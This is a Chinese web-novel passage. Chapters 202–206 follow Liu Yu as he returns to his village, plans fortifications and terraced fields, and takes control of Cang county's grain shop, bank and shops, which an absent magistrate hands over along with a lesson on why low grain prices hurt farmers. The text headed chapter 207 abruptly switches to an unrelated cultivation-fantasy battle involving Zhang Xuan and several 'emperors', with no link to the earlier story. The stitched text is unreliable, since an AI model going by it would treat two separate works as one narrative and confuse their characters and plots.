柳羽只记得，自己好不容易安抚好所有人，从马上下来时，整个屁股都是麻木的。 落地后站都有点站不稳。 马儿也是不好受，摆脱柳羽后是直接侧躺到了地上，任人怎么拽缰绳，是一点都不带动的。 柳羽本人是很关心马的，但却是一点机会都没有。 下马之后，柳羽啥都来不及反应呢，就被村民们或抬着或扶着，硬生生带进了村口里正家院子里。 进院后柳羽是刚一落座，酒菜啥的就上了桌。 啥话还来不及说呢，迷迷糊糊地，就已经是五六碗米酒下肚了。 第二百零二章 你威胁我？ 等到柳羽第二天醒来时，已经是第二天晌午了。 临近初村的暖阳透过窗沿照射在脸上，柳羽迷迷糊糊睁眼。 入眼所见的，是家里熟悉而又陌生的房梁，枕边传来玉娘独有的芳香，柳羽下意识扭头看去，玉娘应该是一早就起床了。 剧烈头痛感传来，柳羽依稀记得，自己昨晚是被人抬回屋的，玉娘打了热水给自己擦拭身体。 等头痛缓解了一些，柳羽掀开被褥一看。 果然，浑身都是一丝不挂的。 就在柳羽想找衣服穿上下床时，突然听到门口传来响动。 惊愕抬头看去，只见楚敬修搁门口探出个小脑袋瓜进来，一脸坏笑地望着自己： “秀才哥哥，玉姐姐叫你吃饭。” “哦对了…楚廿一在后山等你。” “他希望你能亲自跟他解释解释，为什么他的幽泉剑上有豁口。” 柳羽身上一点衣服都没有，实在是不方便动弹。 连忙朝着楚敬修这小子摆手： “打仗嘛，兵刃用久了有豁口不是很正常吗。” “你先出去，我一会儿就到。” 楚敬修鬼精鬼精的，盯着柳羽看了好一会儿才转身离去。 顺手还特别懂事的，帮柳羽把门关严实了。 柳羽多少是有点心虚的，穿衣服都磨磨蹭蹭。 刀剑这种兵器，跟普通的菜刀砍柴刀是完全不一样的。 普通菜刀什么的，能切菜砍骨头就行，对硬度跟韧性没有太高要求，基本是随便熔点铁水，在模具里浇灌出来。 刀剑却是要经过折叠锻打，覆土烧刃，油淬水淬等多道工序。 既要刃体有韧性，又要刃口够坚硬。 这也就导致了寻常菜刀在使用中出现豁口，往往都是刃口上一整块铁崩出去。 而刀剑因为质量过硬，长期使用中出现的豁口，往往刃口上出现小裂纹，白点，真到使用寿命结束时，是整柄刀剑直接断开。 尤其是幽泉剑这样的宝剑。 砍人砍盔甲，跟砍树砍石头造成的损伤，是完全不一样的。 懂行人一眼就能看出来。 柳羽用幽泉剑干了什么好事，自己心里清楚得很。 是一点都没底气去跟楚廿一解释。 磨磨蹭蹭半个时辰后，柳羽才终于穿好衣服走出门。 站在门口目光看去，正好见到玉娘跟婉儿在家门口的院子里，一个打水，一个用搓衣板搓一块肥肉，将油脂搓进水里，收集起来准备做肥皂。 听见响动，李玉娘赶忙回头，嘴角露出甜蜜的微笑： “饭在伙房里，还热着呢。” “早上里正带着一个叫武汉冲的过来，说是要在村口开垦几十亩荒地出来，砌成梯田等开春了种粮食，见你没醒，他们就挨家挨户要农具去了。” 柳羽眉头轻挑。 这才刚回到柳家村第一天，武汉冲就想着开垦荒地了？ 不愧是军师，这办事效率就是快。 柳羽是挺想跟玉娘温存温存，记得当初离开的时候还留了种，也不知道玉娘肚子有没有动静，来年能不能家里添个胖娃娃。 奈何武汉冲那群当下属的都干劲十足，自己这个当大哥的搁家里老婆孩子热炕头，传出去不好听。 柳羽进厨房，直接汤泡饭对付了两口，就着急慌忙出了门。 本来柳羽是想直接到村口去找武汉冲他们的，但考虑到楚廿一幽泉剑这事，拖着也早晚得解决。 想了想，柳羽还是先转身朝着后山走去。 一路上，柳羽遇见的村民都热络的打招呼，有的甚至硬拉着柳羽到他家吃饭，耽搁了柳羽不少时间。 好不容易从村后面出了村，柳羽抬头朝后山看去。 正好撞见楚廿一搁后山一棵歪脖子树树干上坐着，手里拿着根大猪蹄子啃得正香。 而树下面，楚敬修手握长枪扎马步，嘴角口水直流，望着树上的楚廿一眼睛直冒绿光： “我练一上午了，给我吃一口！” “小孩子不能吃太油腻的东西。” “我不是小孩子，我能吃！” “毛都没长齐，吃什么吃。” “你不给我吃信不信我告王婶，王婶要是知道村里刚杀的猪被你一个人偷吃了一半…” “哎哟我去，翅膀硬了，敢威胁我了是吧？” “王婶要是还知道，你把她给林汐炖的老母鸡鸡腿给…” “得得得，给你吃，给你吃行了吧，接着！” 楚廿一抬手将已经啃得只剩骨头的猪脚丢下去，楚敬修丢了手上长枪，一个后空翻，竟然是拿嘴巴，轻松接住了树上落下来的猪蹄。 但把猪蹄拿到手里一看，楚敬修顿时委屈得红了眼眶： “我偷的，你就给我留根骨头，你不要脸！” “我找王婶告你状去，哼！” 眼见楚敬修一脸愤怒地离开，楚廿一却是满不在乎地起身，擦了擦油腻的手。 随即，楚廿一一个翻身下树，跳到了刚走过来的柳羽跟前。 “人敬修好歹是个世子爷，你自己偷吃的就算了还教他偷，真是越活越回去了。” 柳羽一脸鄙夷道。 然而，楚廿一却是咧嘴朝柳羽露出森然的笑容，拔出腰间幽泉剑，一把插在了柳羽面前的地上： “老子好心好意把剑借给你，剑上的豁口怎么回事？” “少跟老子扯犊子呵，刃口上的白点砍盔甲是砍不出来的，你特么拿老子的剑砍过石头？” 柳羽仰头四十五度角遥望后山树林： “我听不懂你在说什么。” “你确定？”楚廿一眼神顿时就危险了起来。 柳羽却是直接转移话题： “楚梓桐这个名字，听过吗？” 此话一出，楚廿一神情瞬间就凝重了起来。 沉默了好一会儿，才低沉道： “这名字，你哪儿听说的？” “临县不是名变吗，叛军军师，就是这个楚梓桐。” 柳羽淡淡道。 话音刚落，就见楚廿一倒吸一口凉气，整个人愣在原地，久久说不出话来。 见楚廿一都这么大反应，柳羽眉头轻挑。 果然，这个玉军师牵扯的事情大到没边。 幸亏是跟她提前做切割了，不然真跟她继续合作下去，只怕是后患无穷。 然而让柳羽没想到的是，楚廿一在良久沉默后，居然一脸激动地看向了自己： “你跟她关系怎么样，她人没死吧？” 第二百零三章 架空沧县 柳羽摇头： “没有，活得好好的。” “那就好，我还以为，她早死在三年前那场大火当中了呢，没想到，居然逃出来了。” 楚廿一一脸庆幸。 柳羽却没有想向楚廿一了解玉军师的打算，眼见楚廿一不再为幽泉剑找自己麻烦了，柳羽扭头就走。 后面的楚廿一，一直到柳羽都走远了才反应过来： “喂，你就不想知道，楚梓桐到底是谁吗？” “不想。”柳羽连头都懒得回，淡淡道：“知道越多，死得越快。” 柳羽离开后山，走到村口的时候，已经是正午了。 近千名士兵，在武汉冲刘宪华等人的安排下，砍树，除草，挖地，翻土，忙活得井井有条。 仅仅只是一个早上的功夫，就已经用泥土沿着下山小道，堆砌起了五六座像样的梯田。 虽然面积都不大，最大的一块梯田也才两亩多地而已。 但半天时间能干到这个程度，已经是相当难得了。 柳羽靠近的时候，武汉冲跟刘宪华正手拿一张简易图纸，在商量着什么。 一见柳羽过来，两人赶忙起身，第一时间将手上图纸递到柳羽面前。 “柳哥，柳家村周边的地形我都看过了，这还真是个好地方。” “柳家村处在半山腰上，背靠群山。” “往下，有大量的空间可以让咱们开垦荒地，往上，能从山上引水灌溉农田，打猎。” “情况不对，随时随地都能往深山里缩，咱要是在柳家村外围建一圈围墙，把整个村子变成山寨，任何人想攻打，没个几千号上万人绝对打不下来！” 武汉冲一脸兴奋地说着。 柳家村所处位置，注定了大型攻城器械绝对无法靠近。 官道一堵，别说攻城器械，就是马匹都寸步难行。 这样一个地方一旦改造出来，绝对可以当作腹地大本营。 退可躲深山，进可攻沧县临县。 而且背靠大山，自给自足不存在任何问题。 除了比较偏僻之外，几乎就是一个极佳的风水宝地。 柳家村的情况柳羽是知晓的，对武汉冲的想法没有任何意义。 但眼下局势，光缩在柳家村闷头发展，跟自断前程几乎没有任何区别。 因此，武汉冲递过来的图纸柳羽仅仅只是看了一眼，便淡淡道： “安排得不错，就这样干吧。” “不过这种事情，交给王五李晟他们就行了，你们俩叫上袁羌，让人备四匹马，准备跟我去沧县走一趟。” 武汉冲眉头微皱，下意识询问道：“带兵器吗？” “带不带都行，记得带几十两黄金就成。” 武汉冲一早了解过柳家村的情况。 知道柳家村跟其他村庄不同。 现在正值乱世，别的村庄饭都吃不饱。 柳家村不缺粮食就算了，居然还养了不少野猪野鹿，偶尔能吃上肉。 而且柳家村的人，还掌握着一种将油脂凝练，提取香油制作肥皂的手艺。 武汉冲今天一早起床的时候，就在里正家试过肥皂的作用。 那东西洗手洗脸，能把身上洗得很干净不说，洗完后身上居然还能保留肥皂的香味，几个时辰都散不去。 干活一出汉，香味更是会挥发出来。 大老爷们香得跟个涂了胭脂水粉的美娇娥似的，武汉冲虽然不喜欢，却是一眼就看出了肥皂的价值。 这东西如果放到城里，尤其是洛北城那样的大城，绝对会成为大户千金疯抢的存在。 一块肥皂，别说卖一两银子，就是卖一两金子，都会有大户千金乐意买。 所有柳羽说要去一趟沧县，还让人带几十两黄金的时候，武汉冲顿时就猜出了柳羽想要干什么。 事情和武汉冲猜得几乎一样。 等马匹备好，柳羽一马当先骑马带着身后三人，走出柳家村一里地后。 柳羽直接将自己早已经在心里规划好的蓝图，对着三人全盘托出： “沧县县令的大印已经在我手上了，庞县令跟我是旧识，只要我想，随时都能接手沧县。” “不过这事暂时不能急，最好是等开春后，摸清楚朝廷动向再说。” 刘宪华一脸不解： “摸清朝廷动向？等朝廷六部官员齐聚沧县，我们再想接手，怕是没那么容易吧？” 听到这话，跟刘宪华并驾齐驱地武汉冲，抬手一巴掌拍在了刘宪华身上： “你傻啊，你是不是傻，亏你还是个当总旗的。” “柳哥只是说，我们的大军，不从明面上掌控沧县，有说不让太平阁，把沧县直接架空吗？” 刘宪华嘴巴微张，有点回过味儿来了。 柳羽则是轻笑着直接道： “不错，就是要架空沧县。” “这些日子除了建设柳家村，我要把周阳陆游他们，陆陆续续安排进县衙、卫所营、城卫营。” “除了让沧县县衙卫所营都布满我们的人以外，我还要购置十几间店面。” “首先，粮食为民之根本，沧县城内所有粮铺都必须在我们手中。” “然后就是钱庄，裁缝铺，铁匠铺，另外我还准备开个胭脂铺，就卖柳家村生产的肥皂。” 顿了顿，柳羽淡淡道： “反正无论是卫所营还是县衙，或是跟民生相关的店铺，全都要握在自己手中。” “如此一来，就算我不是沧县县令又如何，军队跟整个县的经济命脉都在我手上，朝廷的六部官员来了，哪怕是拿着圣旨空降个县令下来，他想干任何事没我同意，也得是寸步难行。” 武汉冲笑着点头： “不把自己摆明面上，这绝对是一个正确的选择。” “就是，柳哥你应该早说的，咱就带了一百两黄金，这一趟去沧县，能把所有事都安排妥当吗？” 一百两黄金，折合下来是一千两白银。 战乱年间县城里的房子不值钱，十几两二十几两甩卖的一大把，百来两买套三进院的大宅子完全不成问题。 可宅院是便宜，商铺可就贵了。 不说钱庄铁匠铺裁缝铺啥的，就是粮铺，一座带货带伙计的，就至少得是一百多两白银，人家老板还未必能卖。 而沧县又算是比较大的县，县里粮铺五六家。 光是这，一百两黄金就得花出去一大半。 第二百零四章 不必再见 柳羽当然知道房价物价，盘店面的价格。 但却是莫名有种感觉，自己架空沧县的计划，会比自己想象得还要容易。 “没事的，看看再说。” “说不定，咱们想干成这些事，这一百两黄金还未必花得完。” 听到这话，武汉冲等人一脸疑问。 而事情跟柳羽预料的几乎一样。 因为沧县附近流民山匪都被庞县令整治得差不多了，柳羽几人一路快马，畅通无阻抵达沧县。 进城后，柳羽没有去找庞县令，而是第一时间带着武汉冲几人，牵着马走到位于沧县城门口不远处的，沧记粮铺。 沧记粮铺，是整个沧县最大，资历最老的粮铺之一。 可以说，沧县建立的历史有多长，沧记粮铺的存在就有多久。 因为沧记粮铺，是由沧县县衙账房掌管的官方粮铺。 市面上粮价高的时候，沧记粮铺会低价抛售粮食，抑制粮价的持续上涨。 市面上粮价低的时候，沧记粮铺会大面积收购粮食，抑制粮价的下跌。 在沧县，像沧记粮铺这样的官方粮铺，起着控制粮价的重要作用。 柳羽在外面停好马，让袁羌搁门口守着马匹。 自己则是带着武汉冲刘宪华进到粮铺里面。 下午这个时间点，来买粮食的人基本没有。 粮铺里的店小二一见柳羽三人进来，立马就热络地上前招呼了起来： “三位客官要点什么？” “咱这有陈米，大豆，芋头，糟糠，一年期的高粱粉红薯粉。” “您要是想来点好的，糙白面也还剩最后三袋。” 柳羽眉头轻挑。 白面，一般指用粟米打成的粉末，也就是小米粉。 寻常普通人家基本吃不起，大户人家才会把白面当主食。 而糙白面，指的是放了半年往上，没生虫没发霉的白面。 “这糙白面，就已经是你们这最好的东西了？” 柳羽疑惑道。 伙计面露惊讶： “听客官您这一口本地话，是从外地刚回来的？” “客官您有所不知，沧县前段时间缺粮，上好的白面早卖光了，现在各家粮铺往外售的都是陈粮。” “就我们家最后这几袋糙白面，您找遍整个沧县都只能找到这几袋。” 柳羽微微点头，听伙计这么解释，倒是也没觉得有多惊讶。 目光往店铺里看了一圈后，柳羽朝着伙计摆手： “把你们掌柜的叫来。” “客官您是要？” “我想收购你们粮铺。” 伙计人整个一愣。 沧记粮铺作为官家粮铺，是不可能往外卖的。 但伙计仅仅只是愣了下，就什么话都没说，转身走进了粮铺里屋。 伙计进里屋后，柳羽三人在外面，等了大概得有半炷香的功夫，年老的掌柜才在伙计的搀扶下，手里拿着房契地契，颤颤巍巍走了出来。 见到柳羽第一眼，掌柜别的什么也没说，直接当场问道： “小哥，您就是柳羽柳秀才吧，可有带大印来？” 柳羽眉头微皱：“你知道我要来？” 掌柜笑盈盈点头：“是庞县令事先交代的。” “昨晚县里的师爷就过来说了，说要是有个叫柳羽的秀才带着大印上门，我便把沧记粮铺的房契地契一并交给他。” “不过粮铺历年来的账册，跟铺子的管理权，师爷却要求您至少跟我在粮铺里学一个月，才允许我完全把铺子给你。” 听到这话，柳羽完全没有能免费得一粮铺的喜悦，反而是眉头紧锁，犹豫片刻后转身就要离开。 只是柳羽人刚走到门口，掌柜就出言给柳羽叫住了： “柳秀才可是要去寻庞县令？” 柳羽背对着掌柜点头。 掌柜紧跟着就道：“庞县令的意思是，不必寻他。” 柳羽眉头皱得更厉害了，当即就抬脚走出了粮铺大门。 然而，掌柜的声音却紧跟着传来： “你去了他也不会见你的，他说了，此生与你不再相见。” “您应当知道，有些事，需要避嫌。” 柳羽脸色难看至极。 掌柜所谓的避嫌，不过就是庞县令面临朝廷六部棠审，牵扯的还是外戚掌权一事，因此庞县令不希望自己的事，牵连到了柳羽。 此前柳羽跟庞县令县衙一见，其实是没意识到问题的严重性的。 本来还想着，自己早点掌控沧县，庞县令的时事说不定还有回旋余地。 现在从庞县令的诸多安排来看，他这事，怕是已经定死了。 只是庞县令的性格柳羽清楚，他说不见，自己就是去县衙大门外等到海枯石烂，也绝对见不到面。 犹豫良久，柳羽才深吸一口气重新返回粮铺，目光朝掌柜看去： “之前你说，我如果想彻底掌握这家粮铺，就必须得跟着你在粮铺学一个月是吧？” 掌柜点头： “沧记粮铺关系着整个沧县的民生，其…” 不等掌柜把话说完，柳羽便直接摆手道： “我知道，庞县令这是担忧我不懂政务，所以要你教我。” “但他多虑了，沧记粮铺的作用我清楚的很，市价高放粮市价低收粮，沧记粮铺在沧县，起着的是调平粮价的作用，并不是单纯的靠卖粮赚银子。” “如何，我说的对与不对？” 听到柳羽这句话，掌柜犹豫了好一会儿才神情凝重的点头：“对，你说的一点没差。” 掌柜怎么也没想到，柳羽居然能一眼看清沧记粮铺的本质。 要知道，眼下正值乱世，多少人饭都吃不饱，一个县里，识字的人，顶天了就占总人口的百分之一。 而这百分之一的人里面，能出口成章者寥寥无几，能知道事物运行规则，懂治理懂市场的人，那更是凤毛麟角。 一个县找下去，这样的人能找出五六人出来，那都已经是了不得的事情了。 掌柜知道柳羽这样说，是等不了一个月。 犹豫良久后，掌柜目光看向柳羽道： “我也不难为你，这样吧，我出一题。” “无论是你，还是你身边的人能回答上来，沧记粮铺都完全交于你。” 柳羽点头：“请出题。” 掌柜稍加思索，开口道： “这粮价过高百姓买不起，吃不饱饭便会徒生民变，因此要抑制粮价上涨。” “那为何粮价低时，又要抬升粮价呢？” 第二百零五章 托孤 柳羽身旁，刘宪华听到这个问题，是直接乐出了声来： “老前辈，你想将粮铺拱手送出便直说嘛，这题有何难的？” “粮价关系着税收，粮价过低税收便会过低，而税收又关系着一县之发展，县吏军员的饷银、赈灾、救火、开挖河道、开路等等。” “因此，自然不能够让粮价过低了呀。” 刘宪华此番言论出来，自信满满觉得自己绝不会出错。 然而，掌柜却是在沉默良久后，幽幽叹息，目光看向柳羽： “柳秀才，您觉得呢？” 柳羽轻笑，倒是不着急说自己的想法，而是目光看向武汉冲： “军师意下如何？” 岂料，武汉冲是直接摆手摇头： “柳哥你过分了，我打仗出身的，这事我哪儿清楚啊。” “我顶多就知道，粮价低了百姓也会吃不上饭而已。” 听到武汉冲这话，柳羽是直接给了他个白眼。 倒不是觉得武汉冲没用，而是因为这家伙明明已经把答案说出来了，却搁这装糊涂。 多少有点膈应人了。 没办法，身边两员大将，一个真不懂，一个装糊涂。 柳羽只能是自己朝着掌柜道： “掌柜可曾听说一词，叫作谷贱伤农？” 柳羽此话一出，掌柜脸上顿时就展露出了笑容。 但他却道：“还请细说。” 柳羽点头： “我身边这位军师说的不错，粮食价格过高百姓买不起粮吃不上饭，粮食价格过低百姓其实同样会吃不上饭，而且价低的坏处，比价高的坏处还要更加的恐怖且难以解决。” “因为自古以来，百姓种粮、卖粮，吃粮，粮便是百姓之根本。” “粮价过高时，百姓卖粮得到的收入就高，自己留下够吃的粮食多余的卖出，只要不遇到灾年，生存不会出现问题。” “但粮价过低时，百姓虽然能轻而易举拥有够吃的粮食，但人并不能单纯靠粮存活，柴米油盐酱醋茶，过冬的衣物被褥柴火、种粮需要买的种子，偶尔需要更换的农具等等。” “粮价低了，百姓卖粮的收入就低了，收入低，就买不起除粮食外的一应物品，生活会过的比粮价低时更加的拮据，更加的入不敷出。” 说到这，柳羽顿了顿继续道： “而且粮价高时，县衙可以通过抛售粮食，根据律法发布限价令，甚至是逼大户抛售粮食降低粮价。” “但粮价低时，往往意味着丰收之年，县衙大批量购买粮食是一笔钱，保存粮食又是一笔更大的开销，限价令由于家家户户都有余粮又起不到作用，大户也不可能愿意大批量购买粮食，花更多的钱保存粮食，干这种亏本的买卖。” “而且粮价过低，运往其他地区卖，粮食本身的价格也完全抵不了运输成本。” “所以我才说，粮价过低比粮价过高更难处理。” 柳羽望着掌柜淡淡道： “因而谷贱伤农，它不仅伤农，更是伤及根本。” “好！”掌柜大笑出声，无比欣慰地望着柳羽：“庞县令是真没看错人，人都说秀才秀才，只会纸上点兵。” “今日一见老朽才知，柳秀才不仅仅是秀才，更是深谙治国之道啊。” “如此一来老朽就放心了，大印让老朽一见，沧记粮铺，便尽归你柳秀才所有。” 柳羽见状，目光朝着武汉冲看去。 县令大印，出发前柳羽就交给了武汉冲保管。 不过在等武汉冲掏出县令大印，交给掌柜确定后。 柳羽只是要走了地契房契。 至于沧记粮铺的管理权，柳羽还是交给掌柜的跟他带出来的伙计，暂为打理。 收了沧记粮铺后，柳羽带着三人继续往城里走。 途经裁缝铺、铁匠铺，甚至是钱庄。 只要柳羽进了店，一说自己要见掌柜，掌柜出来的时候手上就会带着地契房契。 其中，除了钱庄掌柜，有告知柳羽，近一个月内柳羽不能动钱庄内的钱以外。 其他店铺，房契地契管理权，都是全部上交。 只要柳羽愿意，当场把店一把火烧了都没有人管。 柳羽带着一百两黄金进城，搁城里花一个多时辰转悠一圈，房契地契到手二十多张，金子却是一两都没有花出去。 一圈逛下来，柳羽郁闷地带着三人在一家茶摊上喝茶。 入座后，刘宪华可谓是相当开心： “柳哥，您跟这庞县令什么关系啊？” “他对你简直比对亲儿子还好，就这二十来张房契地契，没个五百两黄金那是绝对下不来的，而且就是有钱也未必买得到。” “他倒好，全部白送，我刘宪华活大半辈子，还是第一次见这好事。” 一旁的武汉冲见柳羽一脸郁闷，当场就抬手拍了不会看脸色的刘宪华一巴掌： “还好事。” “庞县令这是在托孤，没看明白啊！” 刘宪华脸上笑容僵硬住，眼睛瞪得滴溜圆： “托…托孤？” 武汉冲沉声点头： “朝廷六部官员来沧县，针对的首要目标是庞县令，而庞县令又是出了名的勤政爱民。” “你动动你那不会转弯的猪脑壳好好想想，就朝廷现在这半死不活的情况，庞县令没了，朝廷派个县令到沧县来，庞县令能放心得下沧县的百姓吗？” “他敢放心吗？” 刘宪华尽管是个武官不懂治理的事，但就是傻子到这会儿也该反应过来了。 意识到庞县令是在托孤，刘宪华整个人都不好了： “也就是说，咱柳哥是庞县令选定的接班人，他相信沧县在柳哥手上不会出事。” “所以他才在朝廷六部官员过来之前，先行安排，将沧县的命脉一点点全部都交到柳哥手上？” 武汉冲点头。 这种事情，对柳羽以及跟着柳羽的所有人来说，都是绝对意义上的好事。 但武汉冲却清楚知道，柳羽绝对不会因为这种事情而开心。 目光看向柳羽，武汉冲沉声道： “柳哥是想，保庞县令？” 柳羽点头，声音清冷道： “庞县令之于我，说是授业恩师毫不为过。” 见状，武汉冲当即认真道： “如果柳哥愿意付出一定代价的话，我有一计。” 第二百零六章 百晓生 柳羽眼睛一亮。 代价都无所谓，武汉冲既然能开口说出来，就绝对不会大到自己承受不起，顶多肉疼而已。 没有任何犹豫，柳羽恭恭敬敬起身，面朝武汉冲抱拳： “军师教我。” 在这个等级分明的时代，柳羽身为主公，行礼向自己的臣属请教。 所用礼仪之高，几乎等同于皇帝向臣之行礼。 可见柳羽对庞县令之看重。 武汉冲连忙起身搀扶住柳羽，将柳羽扶回座位上坐好： “主公莫急，此一计非比寻常，恕我暂时还不能道破天机。” “我只有一问，主公有妻室，手握大好局势。” “可否还愿像当初那个小兵一样，孤身一人到临县，冒着性命危险，也要上豹子山寻兄弟？” 武汉冲所指的，乃是当场柳羽听闻临县战败，王五于失踪，柳羽明知王五可能已经生死，也要上豹子山潜进叛军占据的豹子山，寻找王五一事。 要知道，由俭入奢易，由奢入俭难。 柳羽当时寻王五，是孤家寡人，没啥家业，为了兄弟拼命的事干了也就干了，大不了十八年后又是一条好汉。 但现在，柳羽光是兵马就有上千号人。 沧县尽入手中不说，临县那边只要柳羽想，随时都能掌控。 至于钱粮，那更是相当富余。 可以说，此时的柳羽在这乱世中，已经是站稳了脚跟。 这个时候再让他拼命，世上绝大多数人都做不到。 但柳羽却没有丝毫犹豫，淡淡朝武汉冲道： “军师不必担忧，我柳羽从不是得了富贵，便贪生怕死之人。” 见柳羽这个态度，武汉冲当即放心点头： “那我便可放心去做了，六部官员来沧县阵仗虽大，行程却会相当保密。” “只要沧县这事传出去，无须主公亲自动手，自有高人，替主公分忧。” 武汉冲这家伙五大三粗的，却老喜欢神神秘秘搞事情。 这一点柳羽是相当不喜欢。 不过也无所谓了，爱玩神秘就玩去呗，只要事儿办成了，怎么着都好说。 几人在茶摊短暂休整后，便起身继续办事情。 沧县的粮铺、钱庄、铁匠铺、裁缝铺等关键产业，已经在庞县令的安排下，尽数入了柳羽手中。 接下来便是购置房产，已经空店铺了。 店铺是柳羽准备用来卖柳家村生产的肥皂，而房产是用来当作太平阁的总部。 收了这么多产业，柳羽又不能明面上当县令，天天搁沧县县衙里待着，集中处理每个产业的事情。 所以太平阁是一定得建的。 不仅要建，柳羽还要把太平阁，建成沧县另一个县衙。 为此，柳羽专门找到了沧县唯一一家宅庄。 宅庄，说白了就是房产交易中心，整个沧县，无论是谁想买房卖房，或是买地卖地，都可以在宅庄进行挂牌销售，或者让宅庄里的房东，也就是房地产中介，帮自己找房找地。 眼下乱世，多少人饭都吃不起，房产行业有多冷清可以想象。 柳羽带着武汉冲几人，走到宅庄门口的时候，整个宅庄大门，就角落里开了扇小门供人进出。 顾客是一个没有的，甚至连老板都没有。 柳羽几人弯腰穿过小门，走进昏暗的宅庄大堂里，柜台上空空荡荡，唯有内屋院子里，传出劈柴的响动。 顺着声音走进内院，只见一个尖嘴猴腮的，脸上还贴着块狗屁膏药的中年人，正搁宅庄内院水井边，用斧头正在卖力地劈柴火。 看起来，整个宅庄就他一个人，可他柴火却是劈了整整一院子。 柳羽神情怪异：“掌柜的，掌柜的？” “哎哟哟！”突然传来的响动，几乎是给男人吓得浑身一哆嗦，劈柴的斧子差点当场劈到自己大腿上。 但男人在反应过来的时候，却是一点没有生气，反而是佝偻着腰一脸殷勤地小跑到柳羽跟前： “哎呀，贵客登门有失远迎，有失远迎啊！” “为了弥补我的怠慢，哈哈哈，今日贵客无论是问事买房还是买地，一律五折，全场半价！” 男人凑得太近，不知道多久没漱口了，张口一股臭味直冲柳羽面门，恶心得柳羽赶忙往后退了两步。 捏着鼻子看着眼前充满市井气息的男人，柳羽皱眉道： “还能找你问事？” 男人弯着腰，一脸得意的点头： “回贵客，鄙人李二，不仅是这宅庄里的掌柜简伙计，更是这沧县百里内唯一的一位江湖百晓生。” “宅院地皮相关事宜自不必多说，此乃鄙人本职工作。” “除此之外呢，无论是坊间杂谈啦，奇人异事啦，官家机要啦，只要是沧县发生的事情，就没有再不知道的，您就是想打听您邻居家的小老婆的身上有几颗痣，哈哈哈，只要银子给到位，次日一早定给你准信！” 柳羽嘴角抽搐。 听这自我介绍，这是搞情报的高手啊！ 可沧县有这样一号人物，我柳羽怎么不知道？ 柳羽多少有点相信不了李二的能力，迟疑片刻后，手指朝着满院子的柴火指去： “听你这描述，你很忙嘛，怎么有时间劈这么多柴火？” 李二尴尬地挠了挠头： “贵客有所不知啊，生活不易，秀才卖艺。” “实在是最近战乱，这地产行业不景气，也没冤大头花银子来打探消息，庞县令他又不许我关了这宅庄去别处谋生，硬要我守在这儿等人。” “我这实在是吃不上饭，糊不了口了，迫于无奈，在卫所营求了个帮将士们劈柴火的活计，赚点糊口钱。” 柳羽嘴巴微张。 从进门见到李二到现在，短短这一小会儿的功夫，李二已经给柳羽整不会了至少三次。 又是庞县令？他老人家属八爪鱼的吗，一个人在背地里搞了这么多安排？ 柳羽深吸一口气，多少有点无语地望着李二道： “庞县令让你等的人，是不是叫柳羽啊？” 此话一出，李二瞪大眼睛望着柳羽。 没有问柳羽怎么知道，而是在短暂惊诧后，当场就跪地上死死抱住了柳羽大腿，一把鼻涕一把泪哭得歇斯底里： “哇，天老爷啊，主公啊，你咋才来啊！” 第二百零七章 动手 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 